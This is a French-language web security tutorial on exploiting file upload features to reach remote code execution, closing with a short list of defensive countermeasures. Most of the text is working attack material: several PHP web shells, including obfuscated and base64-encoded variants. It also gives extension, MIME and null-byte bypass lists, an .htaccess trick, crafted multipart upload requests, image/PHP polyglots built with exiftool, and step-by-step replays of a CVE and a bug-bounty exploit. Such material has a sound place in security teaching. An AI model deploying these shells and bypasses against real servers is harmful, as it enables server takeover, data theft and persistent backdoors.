Exploitation du telechargement de fichiers
Transformez les telechargements de fichiers innocents en execution de code a distance
Ce que vous allez decouvrir
🎯 Pourquoi c'est important
Les vulnerabilites de telechargement de fichiers representent l'un des chemins les plus directs vers l'execution de code a distance dans les applications web. Alors que les applications dependent de plus en plus du contenu genere par les utilisateurs et des fonctionnalites de partage de fichiers, ces vulnerabilites sont devenues plus repandues et sophistiquees. Une attaque de telechargement de fichiers reussie peut conduire a une compromission complete du serveur, une exfiltration de donnees et un mouvement lateral dans les reseaux internes.
🔍 Ce que vous allez apprendre
Vous comprendrez comment identifier les vulnerabilites de telechargement de fichiers et contourner les filtres d'extension, de type MIME et de contenu. Cela inclut la creation de web shells pour diverses technologies serveur, l'exploitation des fonctionnalites de telechargement d'images a l'aide de fichiers polyglotes et l'obtention d'une execution de code a distance, les memes techniques systematiques utilisees par les experts en securite pour evaluer la securite des applications.
🚀 Votre premiere reussite
Dans les 10 prochaines minutes, vous allez contourner avec succes plusieurs restrictions de telechargement pour deployer un web shell PHP fonctionnel, obtenant une execution de commandes a distance sur le serveur cible et demontrant l'impact critique d'une validation de fichiers inadequate.
🔧 Essayez ceci maintenant
Testez les techniques basiques de contournement de telechargement de fichiers
# Creer un web shell PHP simple
<?php
if(isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
?>
# Enregistrez sous shell.php et essayez de telecharger
# Si .php est bloque, essayez des alternatives :
shell.php3
shell.php4
shell.php5
shell.phtml
shell.phar
# Si les extensions sont filtrees, essayez :
shell.jpg.php (double extension)
shell.PHP (manipulation de casse)
shell.php%00.jpg (octet nul)
# Si le type MIME est verifie, interceptez avec Burp et changez :
Content-Type: image/jpeg
# Testez l'execution :
http://<target>/uploads/shell.php?cmd=whoami
Vous verrez : Comment differentes techniques de contournement fonctionnent contre divers mecanismes de validation. Cette approche pratique revele pourquoi la validation en couches est essentielle et comment les tests systematiques trouvent les faiblesses.
Competences que vous allez maitriser
✅ Comprehension fondamentale
- Vecteurs d'attaque de telechargement de fichiers et points d'entree
- Techniques de contournement de validation cote serveur
- Developpement et deploiement de web shells
- Creation et exploitation de fichiers polyglotes
🔍 Competences avancees
- Techniques d'evasion de filtre et d'encodage
- Execution de code a distance via inclusion de fichiers
- Methodes de post-exploitation et de persistance
- Pratiques de developpement securise et de validation
Comprendre les vulnerabilites de telechargement de fichiers
Les vulnerabilites de telechargement de fichiers surviennent lorsque les applications echouent a valider correctement les fichiers telecharges
Le probleme fondamental est que les applications font souvent confiance aux fichiers fournis par l'utilisateur sans validation appropriee, permettant aux attaquants de telecharger du contenu malveillant qui peut etre execute sur le serveur. Cela devient particulierement dangereux lorsque les fichiers telecharges sont stockes dans des repertoires accessibles par le web et peuvent etre directement executes par le serveur web.
Faiblesses courantes
Erreurs typiques d'implementation de validation
Validation cote client uniquement
Liste noire d'extensions
Usurpation de type MIME
Validation de contenu faible
Traversee de chemin
Stockage de fichiers non securise
Vecteurs d'attaque
Methodes utilisees pour exploiter les telechargements de fichiers
Telechargement de web shell
Fichiers polyglotes
Double extension
Injection d'octet nul
Abus d'extraction ZIP
Injection de metadonnees d'image
Impact potentiel
Ce que les attaquants peuvent accomplir
Execution de code a distance
Compromission complete du serveur
Exfiltration de donnees
Mouvement lateral
Defacement
Backdoors persistants
Outils et techniques
L'exploitation du telechargement de fichiers repose principalement sur la comprehension des mecanismes de validation et la creation de charges utiles qui les contournent, ce qui en fait une competence qui recompense les tests systematiques et la resolution creative de problemes.
Developpement de web shells : la technique fondamentale
Les web shells sont l'objectif principal de l'exploitation de telechargement de fichiers car ils fournissent une execution de commandes directe sur le serveur cible, transformant essentiellement une vulnerabilite de telechargement en acces a distance.
Developpement de web shells PHP
# Web shell PHP basique
<?php
if(isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
?>
# Web shell avance avec fonctionnalites
<?php
if(isset($_POST['cmd'])) {
echo "<pre>" . shell_exec($_POST['cmd']) . "</pre>";
}
if(isset($_FILES['upload'])) {
$target = $_FILES['upload']['name'];
move_uploaded_file($_FILES['upload']['tmp_name'], $target);
echo "Fichier telecharge : " . $target;
}
?>
<html>
<body>
<h3>Web Shell</h3>
<form method="post">
<input type="text" name="cmd" placeholder="Commande" size="50">
<input type="submit" value="Executer">
</form>
<form method="post" enctype="multipart/form-data">
<input type="file" name="upload">
<input type="submit" value="Telecharger">
</form>
</body>
</html>
# Shell obfusque pour eviter la detection
<?php
$a = 'sys';
$b = 'tem';
$c = $a.$b;
if(isset($_GET['x'])) {
$c($_GET['x']);
}
?>
# Shell encode en Base64
<?php
eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7'));
?>
Les web shells fournissent la base pour une exploitation ulterieure, vous permettant d'explorer le systeme de fichiers, d'escalader les privileges et d'etablir un acces persistant.
Contournement de filtres : l'avantage de l'expert
Comprendre comment contourner divers mecanismes de validation est ce qui distingue les tests systematiques des tentatives aleatoires. Cela necessite une connaissance du fonctionnement des differents parseurs et validateurs.
Contournement d'extension et de type MIME
# Techniques de contournement d'extension
# Extensions alternatives (specifiques au serveur)
PHP: .php, .php3, .php4, .php5, .phtml, .phar
ASP: .asp, .aspx, .ashx, .asmx, .cer, .asa
JSP: .jsp, .jspx, .jsw, .jsv, .jspf
# Manipulation de casse
shell.php - shell.PHP, shell.Php, shell.pHp
# Double extension
shell.jpg.php
shell.png.php5
shell.gif.phtml
# Injection d'octet nul (systemes anciens)
shell.php%00.jpg
shell.php\x00.png
# Usurpation de type MIME via Burp Suite
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg # Type MIME usurpe
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
# Contournement HTAccess (si les telechargements .htaccess sont autorises)
AddType application/x-httpd-php .jpg
# Puis telechargez du code PHP en tant que fichier .jpg
Ces techniques de contournement fonctionnent car la validation ne verifie souvent qu'un seul aspect du fichier, manquant les cas limites et les differences de parseur.
Fichiers polyglotes : exploitation avancee
Les fichiers polyglotes apparaissent comme des images valides aux verifications de validation mais contiennent du code executable, vous permettant de contourner la validation basee sur le contenu tout en maintenant la capacite d'attaque.
Creation de polyglotes d'image
# Polyglote GIF/PHP
GIF89a
<?php system($_GET['cmd']); ?>
# Polyglote JPEG/PHP (ajouter PHP apres les en-tetes JPEG)
# Utilisez un editeur hexadecimal pour ajouter du code PHP apres une structure JPEG valide
\xFF\xD8\xFF\xE0\x00\x10JFIF...\xFF\xD9
<?php system($_GET['cmd']); ?>
# Utiliser exiftool pour injecter du PHP dans les metadonnees d'image
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg
mv image.jpg shell.php
# Polyglote SVG/XSS
<svg xmlns="http://www.w3.org/2000/svg">
<script>
<![CDATA[
alert('XSS');
]]>
</script>
</svg>
Les fichiers polyglotes demontrent une comprehension avancee des formats de fichiers et comment creer des fichiers qui satisfont plusieurs validateurs tout en maintenant la fonctionnalite malveillante.
Scenarios d'attaque reels
Ces scenarios sont bases sur des decouvertes reelles de bug bounty et des decouvertes CVE par des chercheurs en securite, demontrant comment les vulnerabilites de telechargement de fichiers se traduisent en compromissions reelles.
CVE-2019-19576 : Contournement de filtre Class.upload.php (Critique)
Le chercheur en securite Jinny Ramsmark a decouvert un contournement de filtre dans class.upload.php <= 2.0.3 qui permettait le telechargement arbitraire de fichiers menant a une RCE. Cette vulnerabilite a affecte de nombreuses applications, notamment l'extension Joomla K2. Source
# Etape 1 : Identifier le point de telechargement vulnerable
# Cible executant class.upload.php <= 2.0.3
# Courant dans Joomla K2 et autres extensions CMS
# Etape 2 : Decouvrir le contournement d'extension .phar
# Le filtre d'extension a mis en liste noire .php, .php3, .php4, .php5, .phtml
# Mais a manque l'extension .phar qui s'execute comme PHP sur Debian/Ubuntu
# Etape 3 : Creer un polyglote d'image avec charge utile
# Le fichier contient des en-tetes JPEG valides + charge utile PHP
# Octets magiques : FF D8 FF E0 (JPEG valide)
# Suivi de : <?php system($_GET['c']); ?>
# Etape 4 : Telecharger l'image malveillante
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="image.jpg.phar"
Content-Type: image/jpeg
[JPEG_HEADERS]<?php system($_GET['c']); ?>
------WebKitFormBoundary--
# Etape 5 : Executer des commandes
GET /images/image_resized.phar?c=uname%20-a
# Reponse : Details du serveur Linux
# Resultat : RCE complete tout en maintenant une apparence d'image valide
Impact chronologique : Signale le 3 decembre 2019 ; patche dans les 24 heures ; a affecte des applications comme Joomla K2 avec des installations repandues sur le web.
Cas Bug Bounty : Contournement Base64 de telechargement de profil (Prime $$$$)
Le chercheur en securite Akash A a documente une vulnerabilite de telechargement de profil ou le filtrage cote serveur bloquait les mots-cles "php" mais acceptait les charges utiles encodees en base64, conduisant a une recompense de prime significative. Source
# Etape 1 : Reconnaissance
# Identifier un serveur Apache via Wappalyzer
# Localiser la fonctionnalite de telechargement d'image de profil
# Etape 2 : Tester les restrictions initiales
# Telecharger un fichier .php bloque par validation cote client
# Intercepter avec Burp Suite, changer .jpg en .php
# Etape 3 : Decouvrir le filtrage par mot-cle
# Charge utile : <?php system($_GET['cmd']); ?> est BLOQUEE
# Le serveur detecte le mot-cle "php" et rejette le telechargement
# Etape 4 : Contournement par encodage Base64
# Original : echo shell_exec($_GET['cmd'].' 2>&1');
# Base64 : ZWNobyBzaGVsbF9leGVjKCRfR0VUWydjbWQnXS4nIDI+JjEnKTs=
# Etape 5 : Deployer la charge utile finale
POST /profile/upload HTTP/1.1
Content-Type: multipart/form-data
------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/jpeg
<?=eval(base64_decode('ZWNobyBzaGVsbF9leGVjKCRfR0VUWydjbWQnXS4nIDI+JjEnKTs='));?>
------WebKitFormBoundary--
# Etape 6 : Obtenir la RCE
GET /uploads/shell.php?cmd=whoami
# Reponse : www-data
# Resultat : Compromission complete du serveur via contournement par encodage
Reconnaissance Bug Bounty : Cette decouverte a rapporte une recompense bug bounty a quatre chiffres, soulignant l'impact financier et la severite des vulnerabilites de telechargement de fichiers dans les applications de production.
Contre-mesures defensives
Une protection efficace contre les telechargements de fichiers necessite l'implementation de plusieurs couches de securite qui fonctionnent ensemble pour empecher l'exploitation. Ces contre-mesures eprouvees sont essentielles pour les environnements de production et sont utilisees par les grandes organisations pour securiser les operations de gestion de fichiers.
Defense primaire : validation de fichiers multicouche
La base des telechargements de fichiers securises repose sur une validation complete a plusieurs points de controle. Chaque couche fournit une securite independante que les attaquants doivent contourner, rendant l'exploitation significativement plus difficile.
- Liste blanche d'extensions (jamais de liste noire) - Maintenez une liste stricte de 3 a 5 extensions de fichiers autorisees maximum, revue trimestriellement
- Verification du type MIME - Validez les en-tetes de contenu en utilisant des bibliotheques cote serveur qui examinent le contenu reel du fichier
- Application de la taille de fichier - Implementez des limites de taille strictes basees sur les exigences metier
- Validation de la structure du contenu - Utilisez des bibliotheques specialisees pour verifier l'integrite du format de fichier
- Assainissement des noms de fichiers - Supprimez les caracteres dangereux et remplacez les noms de fichiers originaux par des noms aleatoires cryptographiquement securises
Implementation de securite critique
Au-dela de la validation de base, ces mesures de securite sont obligatoires pour les environnements de production et requises par les cadres de conformite comme SOC 2 et PCI DSS.
- Prevention de l'execution au niveau du serveur web - Configurez le serveur pour traiter tous les fichiers dans les repertoires de telechargement comme du contenu statique
- Isolation du stockage securise - Stockez les fichiers telecharges en dehors de la racine web autant que possible
- Retraitement des fichiers et suppression des metadonnees - Retraitez automatiquement les images et documents pour supprimer le contenu integre
- Integration de scan antivirus - Implementez un scan en temps reel avant le stockage des fichiers
- Application de la politique de securite du contenu - Appliquez des en-tetes CSP stricts lors de la diffusion de contenu telecharge
Exigences de strategie de defense de production
- Multiples couches de validation independantes - Chaque controle de securite doit fonctionner independamment
- Principes de conception fail-secure - Tous les echecs de validation doivent entrainer un rejet du telechargement
- Mises a jour de securite regulieres - Maintenez les versions actuelles de toutes les bibliotheques de traitement de fichiers
- Procedures de reponse aux incidents - Etablissez des procedures claires pour repondre aux exploits reussis
🎯 Vous maitrisez l'exploitation du telechargement de fichiers !
Vous comprenez maintenant comment transformer des telechargements de fichiers innocents en vecteurs d'execution de code a distance. Vous pouvez contourner les mecanismes de validation, creer des web shells et exploiter diverses vulnerabilites de traitement de fichiers en utilisant les memes techniques systematiques que les experts en securite utilisent pour evaluer la securite des applications.
Pret a securiser les applications web contre les vulnerabilites critiques